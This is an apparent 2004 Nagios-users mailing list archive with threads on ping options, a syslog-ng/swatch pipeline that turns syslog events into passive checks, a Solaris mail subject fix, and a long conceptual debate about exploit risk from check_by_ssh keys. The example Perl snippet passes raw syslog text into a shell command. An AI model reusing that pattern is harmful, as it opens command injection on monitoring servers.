In-Reply-To: <200403252114.32046.rmiller@duskglow.com> References: <200403251433.47330.rmiller@duskglow.com> <20040326025208.6248.qmail@minnow.softflare.net> <200403252114.32046.rmiller@duskglow.com> Message-ID: <20040326133607.19693.qmail@minnow.softflare.net> Russell Miller writes: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Thursday 25 March 2004 20:52, Paul L. Allen wrote: > I maintain that if ping fails with the nagios default ping options, either > ping is broken or the default nagios install is broken. Ping options and behaviour varies quite a lot from platform to platform and the ping in RH8 is not broken, just different in behaviour from what the plugin assumes. The plugin isn't broken either, as there is a mechanism for configuring it with the syntax required for whatever flavour of ping you have. The autoconfiguration could be better though, by building in knowledge of the required ping syntax for various platforms. > Because upgrading the rpm solved the problem, it's pretty obvious that > it the ping behavior was changed between 8 and 9, so I must assume that > they viewed the behavior in redhat 8 as a bug. Nope, not a bug, because it behaved as documented. They probably decided that the new behaviour improved usability. A possible reason for making the change would be noticing that most people who use -c also need -w rather than the other way around. Another possible reason for making the change would be noticing how many people get burned by using -c in an automated check and ending up running out of process slots (this happend to my boss recently). > Therefore, I believe that ping was indeed broken. I disagree. It worked as documented and if you read the man pages you can do what is required, you just need another option. > The upgrade solved the problem A bit of a sledgehammer to crack a nut, though. Also many hours waiting for the upgrade instead of a few minutes reconfiguring and rebuilding the plugins. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmiller at duskglow.com Fri Mar 26 15:06:12 2004 From: rmiller at duskglow.com (Russell Miller) Date: Fri, 26 Mar 2004 08:06:12 -0600 Subject: solved In-Reply-To: <20040326133607.19693.qmail@minnow.softflare.net> References: <200403251433.47330.rmiller@duskglow.com> <200403252114.32046.rmiller@duskglow.com> <20040326133607.19693.qmail@minnow.softflare.net> Message-ID: <200403260806.18012.rmiller@duskglow.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 26 March 2004 07:36, Paul L. Allen wrote: > Nope, not a bug, because it behaved as documented. They probably decided > that the new behaviour improved usability. A possible reason for making > the change would be noticing that most people who use -c also need -w > rather than the other way around. Another possible reason for making > the change would be noticing how many people get burned by using -c > in an automated check and ending up running out of process slots (this > happend to my boss recently). > A usability bug, then. Whatever. It is nice to know about the -w option though, thanks for that.. > A bit of a sledgehammer to crack a nut, though. Also many hours waiting > for the upgrade instead of a few minutes reconfiguring and rebuilding > the plugins. Many hours? It was just rebuilding the source RPM and installing it. More like a few minutes. And besides, it can be quite satisfying to have the nut parts flying everywhere... :) - --Russell - -- 08:03:41 up 47 days, 20:46, 2 users, load average: 0.30, 0.22, 0.13 Russell Miller - rmiller at duskglow.com - Somewhere near Sioux City, IA. Youth cannot know age, but age is guilty if it forgets youth - Professor Dumbledore Hi! I'm a .signature virus! Copy me into your ~/.signature, please! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAZDjXURTA4VCI9OARAhm8AJ9bfO1Ckxhvcu/Rff/Aqdy2fe369ACfVVtk LjIYu8sZ2dYKdT7uDSAKSnk= =ZqaS -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 26 15:53:32 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 26 Mar 2004 14:53:32 +0000 Subject: Solaris messages file In-Reply-To: <20040326120050.95134.qmail@web25007.mail.ukl.yahoo.com> References: <20040326120050.95134.qmail@web25007.mail.ukl.yahoo.com> Message-ID: <406443EC.9000305@exponential-e.com> ForMatPrO ForMatPrO wrote: > Hi! > > I've got to monitor about 30 Solaris 2.6/8/9 machines > and I was wondering; What is the best way to monitor > the /var/adm/messages files for important system > messages? > > BTW: I can't change anything on the machines (for > example another syslog deamon) Assuming you can still consolidate syslogs using Solaris' syslogd then bring them all back to the Nagios server and use the logfile monitoring plugin or the approach below (this was in the archives and reposted on the 22/03/2004 - you must have missed it when you searched the archives ;-). The approach should still work with installing syslog-ng. Jim Mozley ____________________________________________________________________ A check of the archives should find submissions from myself and (even better) Stanley Hopcroft regarding this. In summary, apart from using the syslog monitoring plugins one can use SEC/swatch or similar to watch the log file(s) and then a script to pass events of interest into Nagios as passive checks. From a previous post (in thread "check_log not working properly"): The following is a setup for using syslog-ng, swatch and a script to pass passive events into Nagios. This is based on getting syslog messages from a set of network devices, although the same principle would apply to hosts. I've tried to make the example fairly generic, for instance we generate the nagios config for this automatically from device configurations, so please don't copy/paste this without understanding what's going on. 1. Define services in Nagios. For instance if you want to monitor MPLS messages for each network device define an MPLS service as below. #Service definition template define service{ name mpls-service-template active_checks_enabled no passive_checks_enabled 1 parallelize_check 1 obsess_over_service 0 check_freshness 0 freshness_threshold 28800 notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 1 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 register 0 is_volatile 1 check_period none max_check_attempts 1 normal_check_interval 5 retry_check_interval 1 contact_groups network-admins notification_interval 120 notification_period 24x7 notification_options w,c,r } define service{ use mpls-service-template ; template host_name host1 service_description mpls check_command "" } 2. Configure syslog-ng. Once you have got your config file ready you will need to disable the native syslog daemon and start syslog-ng. syslog-ng config; this is for Solaris the source may need to change for linux/BSD: options { keep_hostname(off); long_hostnames(off); sync(1); log_fifo_size(2048); bad_hostname("%"); }; source all { sun-stream("/dev/log" door("/etc/.syslog_door")); internal(); udp(); }; # Put each day's log in a separate file within a directory for # each host. destination d_hosts { file("/var/log/hosts/$HOST/$HOST-$YEAR$MONTH$DAY" owner(root) group(syslog) perm(0660) dir_perm(0750) create_dirs(yes)); }; # To send messages to swatch destination d_swatch { program("/usr/local/bin/swatch --config-file=/etc/swatchrc --read-pipe=\ "cat /dev/fd/0\""); }; # log all messages in a directory per host log { source(all); destination(d_hosts); }; # send all logs to swatch log { source(all); destination(d_swatch); }; 3. Install and configure swatch. Sample line from swatchrc watchfor /pattern-i-want-to-match/ exec /path/to/my/script.pl $* So for instance if you are looking out for MPLS messages and your devices include "MPLS" in these syslog message match the pattern /MPLS/ 4. Create the script This should build a passive command based on the contents of the syslog message. For instance it might contain element such as: if ( $syslogmsg =~ /down/ ) { $nagios_code = 2; # Critical } You will need to extract the hostname from the syslog message (and possibly the service unless this is hardcoded - it is in this example). In the end you want to build a message such as: my $cmd = "[$epoch] PROCESS_SERVICE_CHECK_RESULT;$host;$service;$nagios_code;$msg"; And fire it into nagios: my $echo = '/usr/bin/echo'; my $pipe = '/usr/local/nagios/var/rw/nagios.cmd'; system "$echo \"$cmd\" >> $pipe"; (As an aside I tried the perl way of doing this rather than a system command and had a problem on Solaris I couldn't resolve.) I would recommend you take a look at Al Toby's module on CPAN for passing commands to Nagios. There are also some shell script examples of passing Nagios commands supplied with the distribution. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Fri Mar 26 16:30:33 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Fri, 26 Mar 2004 08:30:33 -0700 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: Hello, Whenever I get a warning or error notification from my Nagios installation on my Solaris box, it comes with empty subject line. How do I fix it? This is what I have # 'notify-by-email' command definition define command{ command_name notify-by-email command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ } Any help is appreciated. Sundar ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 26 16:45:23 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 15:45:23 +0000 Subject: check_by_ssh question In-Reply-To: <40642592.3010006@op5.se> References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> Message-ID: <20040326154523.6635.qmail@minnow.softflare.net> Andreas Ericsson writes: > Paul L. Allen wrote: >> Andreas Ericsson writes: >> >> I haven't seen anything that doesn't have local exploits. > I have. It's called Owl, and you can find it at www.openwall.com/Owl You can add TeX to that list. The number of commonly-used server applications that have never had a local or remote exploit is zero. And even Owl could have a Ken Thompson back-door in it unless all work done on it was on machines that were never connected to the Internet before Owl replaced the standard password system on those machines, and you'd never know unless you looked at a disassembler listing. > And most patches come out because a problem has been detected. Which is why I said all you can hope is that you're not one of the unlucky ones that gets hit before there's a patch. You can vet the sources of critical stuff, but even then you're likely to miss something. You can detect obvious stuff with automated tools, you can detect less obvious stuff with human inspection, but you can't detect stuff that you never imagined could be exploited that way. Everyone thought that parellizing RSA cracking didn't decrease the cost - 10 computers get the result 10 times as fast as 1 computer but cost 10 times as much. Recently Bernstein came up with a factoring algorithm that means parallelizing decreases the cost. You can be sure that the NSA came up with it before Bernstein, probably not long before they agreed to allow the export of products using 1024-bit keys. I'm willing to bet that there is at least one mechanism you're absolutely sure cannot be exploited that some day somebody will find an exploit for, just as everyone used to be sure that parallelizing RSA factoring didn't decrease the cost. >> Your proposed nagios exploit relies upon far more serious exploits in >> order to be able to use it in the first place. > > Not really, no. A local user can probably find something to elevate his > privileges with. We don't have any local users on our servers who don't already know the root password. I wouldn't dream of having a server that is also a general box for ordinary users to play on. Even apart from the security issues, I don't want an ordinary user hogging the CPU or doing something else that degrades the service. > A couple of months ago, a remote exploit was found for > apache 1.3.28, and today there was a new issue with 2.0.48 (3 different, > actually), which could allow remote users to gain shell access. There are always remote exploits. The only way I can be sure apache will never again be exploited is to turn it off. That's not a feasible option. So I have to live with the risk that somebody will find a new exploit and attack us before the exploit is patched against. >> Your attitude is "Somebody could use an exploit to get root on your >> monitoring machine, get shell as nagios on the monitored machine and >> then use the same exploit to get root there, so don't use keys with >> nagios." > Not at all. Now you're being downright silly. What I meant was that IF > your nagios server gets compromised, the problem _WILL_ spread to every > machine you're monitoring with check_by_ssh (unless the attacker is a real > git, but that's not to hope for). You're right that the monitored servers *could* be compromised that way. But with no "ordinary" local users then the monitoring server could only be hacked using a remote exploit which is very likely to be usable on all the monitored servers too. As with not running apache at all, there is a trade-off between vulnerability and utility. I moved away from check_by_ssh because I couldn't get it to tunnel through firewalls, not because I was worried about a key exploit. In my situation if somebody is in a position to use the key exploit it's only because they already have a better and easier remote exploit in the first place. So if I ever have to use check_by_ssh for any reason I'm not going to worry about the potential key exploit too much. If there's a way to fix the problem I'll apply it, if not then it's another daemon I have to risk running, just like I have to risk running Apache. >> There will always be local privilege escalation problems. >> Not necessarily (unless physical access applies). Again, I repeat to you that all of our local users know the root password because the only local users are admins who need to know the root password. The only way somebody can use a local exploit is if they already have a remote exploit unless one of our local users sets a bad password, which is a sackable offence. Most likely a remote exploit through ssh, imap or apache (we've had all three exploited over the years) and anything they could then exploit locally as nagios could also be done by the apache user or whichever other daemon user they got in as that has a shell. >> All you can >> do is fix them as soon as possible. The point is that if you have a >> local exploit that you leave unfixed then you have far more to worry >> about than a nagios exploit. >> > Indeed, but that doesn't excuse making it easier for an attacker. If they can get to nagios on our machines they already have a remote exploit that is easier for them to use than messing around with the nagios exploit. A few machines might not be vulnerable but most of them run the same mix of stuff. >> Those people may choose bad pasawords > Not necessarily. Ever heard of password policy enforcing? Yeah, VMS had it back in the 80s. >> but we make damned sure root has >> a strong password and administrators can only get onto the machine >> locally >> or by ssh > Or by exploiting a remote hole in apache or ssh (remember 'The Matrix Bug' > ?) I remember slapper as well. But again, if either ssh or apache has a new exploit and we're unlucky enough to be amongst the first hit then they don't need the nagios exploit. >> and therefore all our monitored machines are >> likely to have the same vulnerability so the nagios exploit is not >> needed. > So that's an excuse to lead him by the nose to the vulnerable servers? How can I stop him knowing what the vulnerable servers are when all he needs to do once he has root on the monitoring box is to scan through the nagios configs? Most of the monitored servers run the same mix of stuff as the monitoring server so if he can get onto the monitoring box he can get onto most of the others the same way. > You DO have a funny way of thinking. No, a practical way of thinking. There's no point in installing an expensive lock on your front door if your back door has no lock at all. > And besides, do you honestly run the same > type of services on your backup server as you do on your > cvs/ftp/web/dns/radius/ldap/samba/whatever server? I think not. Most of the monitored machines run the same mix of services as the monitoring machine. There are a few that don't, so depending on which service gets remotely-exploited a few of them would be vulnerable because of the nagios exploit whereas otherwise they wouldn't be (if I still used check_by_ssh). Realistically, if all the ones vulnerable to a remote exploit other than the nagios key exploit were taken out the business wouldn't survive. Contract cancellations because we couldn't get them all cleaned up quickly enough would be enough to kill us, then there would be penalty clauses... >> There have to be compromises between security and utility. I can make >> any machine 100% safe from network attacks by unplugging it from the >> network. But I'd be interested in seeing your kernel patch to allow >> the check_raid plugin function without sudo. > I can imagine this script / program working in two ways which won't > require sudo to make it run; Sorry, I had a thinko there. I meant check_smart. >> The only way somebody can do that to us is if they use a remote exploit >> to get into the monitoring machine. If they can do that then they can >> use the SAME remote exploit to get into the monitored machines. > Discussed above. Iteration seems to have become an issue here. That's because I know our mix of services. The percentage of machines we could protect by not permitting the key exploit is so small as to not be worth worrying over. So if I had to switch back from NCSA to check_by_ssh, I wouldn't be worried about the security implications because anybody who could exploit it already has the capability to knock out most of our machines without it. > Except ofcourse browse the remote machines by using the authorized_keys > method described earlier. Generally not a problem for us. A problem on a couple of machines, but they're not monitored anyway. >> There are always local exploits. Which is one reason why none of our >> network machines have ordinary users who do not also know the root >> password. We don't mix the concepts of "server" and "user machine" and >> I wouldn't trust anyone who did. > The setsuid binaries needed for the shadow password scheme is why you > should change to TCB. Then you'd need an overflow to get to read other > users password files but you still wouldn't have a root account. Combined > with the password policy enforcement it is not computationally feasible to > even try to attack a host with those rules in place. But that doesn't protect you from all the other possible local exploits. Far safer not to have ordinary users who don't know the root password on servers. In some ways, safer still not to have any local users because the only reason for connecting to those boxes in the first place is to do something as root. >> I already mentioned that. First, of course, they have to know that the >> other customer exists and what we've called their servers in Nagios. >> > So this would be the first line of exploitation. If the nsca daemon has > any bugs, then anybody hacking any of your customers would have something > to work with. I'm not saying they'll have any luck, just that they know > where to start Yeah, NCSA worries me. So does any daemon that accepts incoming connections. I wish I could turn them all off, but then we wouldn't have a business. > (and that I for one would try for the fun of it). Whereas I would not. Not only because of the legal penalties but also because I have a degree of respect for others. Crackers would do it for the hell of it, I wouldn't expect any sysadmin with a sense of ethics to. And I wouldn't trust any software with a team member who said he'd try hacking into somebody else's machine "for the fun of it", let alone security software. I think I'll give owl a miss... >> OK, so somebody at customer1 gets the root password for their local >> nagios machine sending passive service checks to us. That means they've >> hijacked a machine we supply and control and can do more damage than >> submitting fake checks. Then they somehow guess what other customers >> we monitor and what we've called their machines. > Not necessarily. Generating looooong strings containing arbitrary garbage > isn't really all that hard, but I guess you know your way around the code > in libmcrypt and nsca, so you're already certain there aren't any problems > there. I worry about buffer overflows in everything. But again you're talking about needing a remote exploit first in order to be able to use a local exploit in order to be able to use the key exploit. The monitoring server is slightly more vulnerable than the others because only it runs the NCSA daemon. But since so few machines run an NCSA daemon compared to machines that run apache, bind, etc., black-hats are less likely to spend time on it. There is enough source code in the common services to look through for a cracker to bother spending time looking at NCSA which will probably get him nothing more than root on the monitoring server, if that. Somebody exploiting NCSA might get root on the monitoring box (which can be repaired relatively quickly) whereas somebody exploiting Apache, ssh, bind, etc., etc., could screw most of our boxes at the same time. In an ideal world I'd have the time to thoroughly scrutinize NCSA and libmcrypt on the off-chance that I might be able to spot a vulnerability that the developers did not. The chances of me finding such would be small and the time needed to do so would be a lot more than the time needed to rebuilt the monitoring box. Some organizations have the need to vet things that thoroughly and the budget to do it. Others have to live with the chance of having to do a rebuild. Ideally every box we supply to clients would come with 24x7 on-site support so that we don't have to open up sshd on it. Realistically, that would put the price beyond their means so I have to live with the risk of an ssh exploit so we can get onto the box remotely. > Give me a break. Anybody with a minimum of programming skill can write a > program to relay tcp traffic through more hops than than you have hairs on > your head. I've written one myself and it took me about 45 minutes. So have many crackers. :( But where somebody exploits through physical access there may well be signs left behind, which is enough to deter most people from trying it. If any of our clients had those sorts of skills they wouldn't come to us in the first place. Yes, there's still a risk that some super cracker might get a job there, but it's one we have to live with. If our clients consisted of nothing but major banks and the like we could be sure that unauthorized physical access was not a problem. > Laws are good sometimes, but only if it's within the jurisdiction of > whatever bureau you have enforcing it. UK law makes it a criminal offence as long as one end (attacker or attacked machine) is in the UK. Most countries have extradition laws. >> I suppose you've gone through the source of the entire kernel and every >> utility and application on your machines. > Actually, I'm an Owl developer which means that's exactly what I do. So why do exploits keep happening? Most open-source projects have at least one developer who is strict about enforcing good coding practises in changes. If you know all the existing holes in everything, why haven't you submitted patches? And why is there a large team of programmers vetting all open-source sources for this sort of problem? Did none of them know that you've already vetted EVERYTHING and they could have just asked you? >> I expect you've paid particular >> attention to apache, bind, postfix/sendmail/qmail, sshd, etc. > Naturally. Postfix and sshd have been patched rather extensively, and the > patches have been submitted to the main branch. Apache is not quite done > yet, so atm I'm running a not fully audited version. We have, however, > patched glibc to make exploitation harder. You're not running a fully-audited version. You never will, because new versions will appear faster than you can vet all changes to everything installed unless you're superhuman. You've vetted a couple of daemons, and a couple of critical libraries but not everything that could potentially be exploited. But at least you started with the ones most likely to be compromised. The day you have everything audited and can keep on top of changes is the day you can corner the market in distros and probably topple Microsoft too. Until then you have to worry about local exploits and remote exploits, just like the rest of us. > No, but it's every admins responsibility to check those that are setuid > and those that do networking in an 'out-of-jail' fashion. Also, naturally, > the libraries to which any program might be linked. Then there are all the kernel exploits. You cannot hope to check everything by yourself and you cannot check for exploits that rely upon principles you never thought of. BTW, did you disassemble gcc? There is no other way of being sure that you don't have a Ken Thompson back-door unless ALL owl development was done on machines that have never connected to the Internet before the standard password routines were replaced by Owl on those machines. Recompiling gcc from source, patched or not, does not get rid of a Ken Thompson back-door. So if the Ken Thompson back-door ever contaminated your distro and your machine was connected to the Internet before you replaced the standard password routines, there is a small chance that Owl is contaminated because Ken hopped onto your machine while you were still using the standard password stuff and modified gcc so it would also insert his back-door into Owl. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 26 16:40:59 2004 From: marc at ena.com (Marc Powell) Date: Fri, 26 Mar 2004 09:40:59 -0600 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A38E@mismail2.ena.com> On Friday, March 26, 2004 9:31 AM, Narayanasamy, Sundar shared with us: > Hello, > > Whenever I get a warning or error notification from my Nagios > installation on my Solaris box, it comes with empty subject line. How > do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios > *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: > $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ alert - > $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ } > > Any help is appreciated. Take a look at 'man mail' and make sure that the -s switch is used to specify the subject on the command line. It may be different than other distributions (I don't have a solaris machine handy). You might also try using single quotes ' instead of double quotes " around the subject portion of the command. Your host aliases or service descriptions don't use any special characters in them do they? Anything outside [A-Za-z0-9+_-]? -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 26 16:37:57 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 26 Mar 2004 15:37:57 +0000 Subject: Solaris messages file In-Reply-To: <406443EC.9000305@exponential-e.com> References: <20040326120050.95134.qmail@web25007.mail.ukl.yahoo.com> <406443EC.9000305@exponential-e.com> Message-ID: <40644E55.80403@exponential-e.com> Jim Mozley wrote: > Assuming you can still consolidate syslogs using Solaris' syslogd then > bring them all back to the Nagios server and use the logfile monitoring > plugin or the approach below (this was in the archives and reposted on > the 22/03/2004 - you must have missed it when you searched the archives > ;-). Yes I know, I should put it in the faq-o-matic thingy. I will do this next week once I've tidied it up. Of course I'd welcome comments even if it's "don't it". Jim ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From philc at foundation-it.com Fri Mar 26 17:13:56 2004 From: philc at foundation-it.com (Phil Costelloe) Date: Fri, 26 Mar 2004 16:13:56 -0000 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: <4E71CFD68DCB4E49B04AD93E84827EE9226681@netfinity-1.foundation-it.local> Narayanasamy, Sundar wrote: > Hello, > > Whenever I get a warning or error notification from my Nagios > installation on my Solaris box, it comes with empty subject > line. How do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios > *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: > $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ > alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" > $CONTACTEMAIL$ } There isn't a -s option to the standard mail program on Solaris 8, in fact that command (generically - printf "body" | mail -s "subject" someuser) errors rather than sending a mail when I try it. Is mail the standard Sun version? Phil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter.gutmann at db.com Fri Mar 26 17:38:08 2004 From: peter.gutmann at db.com (Peter Gutmann) Date: Fri, 26 Mar 2004 11:38:08 -0500 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: Try using /bin/mailx on Solaris 8 ---- Peter Gutmann Peter.Gutmann at db.com "Phil Costelloe" Sent by: nagios-users-admin at lists.sourceforge.net 03/26/2004 11:13 AM To: cc: Subject: RE: [Nagios-users] Notify-by-email on Solaris 8 doesn't populate the subject Narayanasamy, Sundar wrote: > Hello, > > Whenever I get a warning or error notification from my Nagios > installation on my Solaris box, it comes with empty subject > line. How do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios > *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: > $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ > alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" > $CONTACTEMAIL$ } There isn't a -s option to the standard mail program on Solaris 8, in fact that command (generically - printf "body" | mail -s "subject" someuser) errors rather than sending a mail when I try it. Is mail the standard Sun version? Phil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Fri Mar 26 18:03:10 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Fri, 26 Mar 2004 10:03:10 -0700 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: I am using the standard mail that comes with Solaris 8. On my box, it still sends the mail but with no subject. When I did 'man mail', I couldn't figure it out. Do I have any other option? Sundar -----Original Message----- From: Phil Costelloe [mailto:philc at foundation-it.com] Sent: Friday, March 26, 2004 9:14 AM To: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Notify-by-email on Solaris 8 doesn't populate the subject Narayanasamy, Sundar wrote: > Hello, > > Whenever I get a warning or error notification from my Nagios > installation on my Solaris box, it comes with empty subject > line. How do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios > *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: > $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ > alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" > $CONTACTEMAIL$ } There isn't a -s option to the standard mail program on Solaris 8, in fact that command (generically - printf "body" | mail -s "subject" someuser) errors rather than sending a mail when I try it. Is mail the standard Sun version? Phil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 26 18:10:45 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 26 Mar 2004 17:10:45 +0000 Subject: 